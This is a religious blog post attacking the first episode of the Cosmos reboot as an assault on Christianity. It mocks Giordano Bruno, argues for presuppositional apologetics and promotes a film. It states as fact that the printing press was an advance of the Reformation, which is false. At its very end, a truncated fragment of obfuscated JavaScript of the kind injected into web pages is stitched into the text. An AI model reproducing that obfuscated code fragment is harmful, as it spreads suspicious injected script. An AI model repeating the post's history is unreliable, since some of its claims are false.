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When Cosmos was first announced that it was going to air on Sunday Nights after Family Guy and The Simpsons, a lot of people questioned the time slots appropriateness. After all, Sunday Night on FOX has long been the time slot for blasphemous, yet high end, well produced animation by Seth MacFarlane. How on earth would Family Guy be a suitable lead in for a Science documentary?
Well as it turns out, it’s perfect.
Last Night on FOX, Neil Degrasse Tyson launched his new updated version of Carl Sagan’s Cosmos. In the pilot, which was simulcasted on nine fox channels, including the National Geographic Network (but most definitely not on Fox News), Neil Degrasse Tyson walked us through the made up history of the world using beautiful animation that attacks religion, pretty much exactly like an episode of Family Guy.
Cosmos is indeed a beautiful work of art. The graphics and imagery of space are stunning. Now that’s not entirely to the credit of the shows creators (Creators, get it?), as it is the work of God’s creative handy work in all the universe. The images of the planets, stars, suns, galaxies and the rest of creation is truly a stunning thing to behold.
But of course Cosmos is not intended to be a documentary on the creation of the universe by the Creator God. Nope. It’s not even intended to be a scientific documentary. Cosmos in all its beauty of production, and glory in Creation is an outright attack on Christianity.
For at least fifteen minutes of the pilot episode Neil Degrasse Tyson thought it vitally important to make sure that before we get into the science that we first destroy the religious presuppositions of the viewers.
Yes, that’s right. Cosmos was presuppositional. It asked you to destroy your inability to hold on to authoritative and universal truth, like Scripture, and exchange that for a bunch of theories demonstrated as fact a la cartoons.
But it fails to even do a good job at that and betrays its very own presuppositions in the process, by telling the story of a true psychopath, Giordano Bruno. This guy was excommunicated from the Catholics, The Calvinists, and The Lutherans, and that’s not easy to do and in order to do so, you know you must be a special kind of crazy.
From Patheos:
Bruno was not a scientist. He did not test his hypothesis. His insight came to him as a revelation, one he kept preaching even as he was excommunicated and banished from every church’Catholic, Protestant, and Calvinist’in the land (as well as being laughed out of Cambridge). http://www.patheos.com/blogs/christophers/2014/03/cosmos-may-get-science-right-but-it-gets-church-history-wrong/
That’s right. This bruno guy didn’t even use science. He was basing everything he knows off of a dream. Imagine for a moment trying to get published in a scientific peer-reviewed journal via submission of a dream you had.
You wouldn’t be given a shred of credibility.
But for some reason, because the Church (as well as academia) thought he was nuts and should have been burned alive, it seemed like it was a good idea to use a guy who was in no way a scientist, to try and attack religions supposed assault on science.
So let me take a moment and ask Neil Degrasse Tyson a few questions.
Are dreams a valid foundation for knowledge? Can you accurately account for truth based on a dream or a vision? How do you know with empirical evidence that you not dreaming now?
How do you reason that your reason is reasonable (without using reason, cause you know, that would be circular).
The unbeliever has no objective standard for knowledge. Everything they see and believe could very well be based on a dream. They have nothing to base reality on but their own perception, which like Bruno’s, could just be bat crazy.
But as Christians we have a basis for knowledge that is outside of ourselves,that is we know a Creator who knows everything. Our trust in the one who knows everything, is the only basis for knowing something with certainty.
Oh and one more thing.
The very reason science and technology advanced was because of those Lutherans and Calvinists during the Reformation and their desire to spread the Word. It might be a good idea for Neil Degrasse Tyson to look up some of the advancements of the reformation in the areas of science and technology like you know, the printing press.
And if you really want to watch a documentary that will give you a true basis for knowledge and understanding be sure to watch How To Answer The Fool.
How To Answer The Fool – Trailer from Crown Rights on Vimeo. xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
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